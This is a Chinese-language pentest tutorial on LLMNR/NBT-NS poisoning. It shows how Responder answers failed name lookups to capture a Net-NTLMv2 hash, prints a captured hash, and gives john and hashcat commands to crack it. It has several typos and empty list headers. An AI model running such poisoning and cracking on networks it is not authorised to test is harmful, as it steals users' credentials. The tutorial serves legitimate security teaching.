本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。
LLMNR的工作流程如下:
NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT 以后版本的所有操作系统中均可使用NetBIOS。但是,NetBIOS不支持IPv6。
NetBIOS提供的三种服务如下。
Net-NTLM Hash与 NTLM Hash不同。
NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。
假设目标网络的 DNS服务器因发生故障而无法提供服务时,会退回 LLMNR和 NBT-NS进行计算机名解析。下面使用Responder 工具进行渗透测试。
Responder 是监听 LLMNR和 NBT-NS协议的工具之一,能够抓取网络中所有的 LLMNR和NBT-NS 请求并进行响应,获取最初的账户凭证。
Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay 功能在目标系统中执行命令。
Responder是使用Python语言编写的。
git clone https://github.com/SpiderLabs/Responder.git
在使用 Responder对网络进行分析之后可以利用SMB协议获取目标网络中计算机的 Net-NTLM Hash。如果用户输入了错误的计算机名在DNS服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS和LLMNR进行解析。
在渗透测试中,使用Responder 开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,然石尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash
python Responder.py -I eth0 #开启监听网卡,Responder回应请求功能
这时候在受害主机输入、
net use \\whoami #受害主机win 7 执行命令
admin::WIN7:1122334455667788:968965E3F5C234DC037307342A7972C1:01010000000000007BA35ED54337D701BBD4885D869912180000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000E125A6282429E0438CB942617783D9E70E08BF25C6BCB11A3913B670B6570EC40A001000000000000000000000000000000000000900160063006900660073002F00770068006F0061006D0069000000000000000000
抓取成功后,用kali自带的john工具破解hash值
root@kali:~# touch hash.txt
root@kali:~# echo admin::WIN7:1122334455667788:968965E3F5C234DC037307342A7972C1:01010000000000007BA35ED54337D701BBD4885D869912180000000002000A0053004D0042003100320001 000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000E125A6282429E043 8CB942617783D9E70E08BF25C6BCB11A3913B670B6570EC40A001000000000000000000000000000000000000900160063006900660073002F00770068006F0061006D0069000000000000000000 >hash.txt
root@kali:~# john hash.txt
用上面的hash.txt
hashcat -m 5600 hash.txt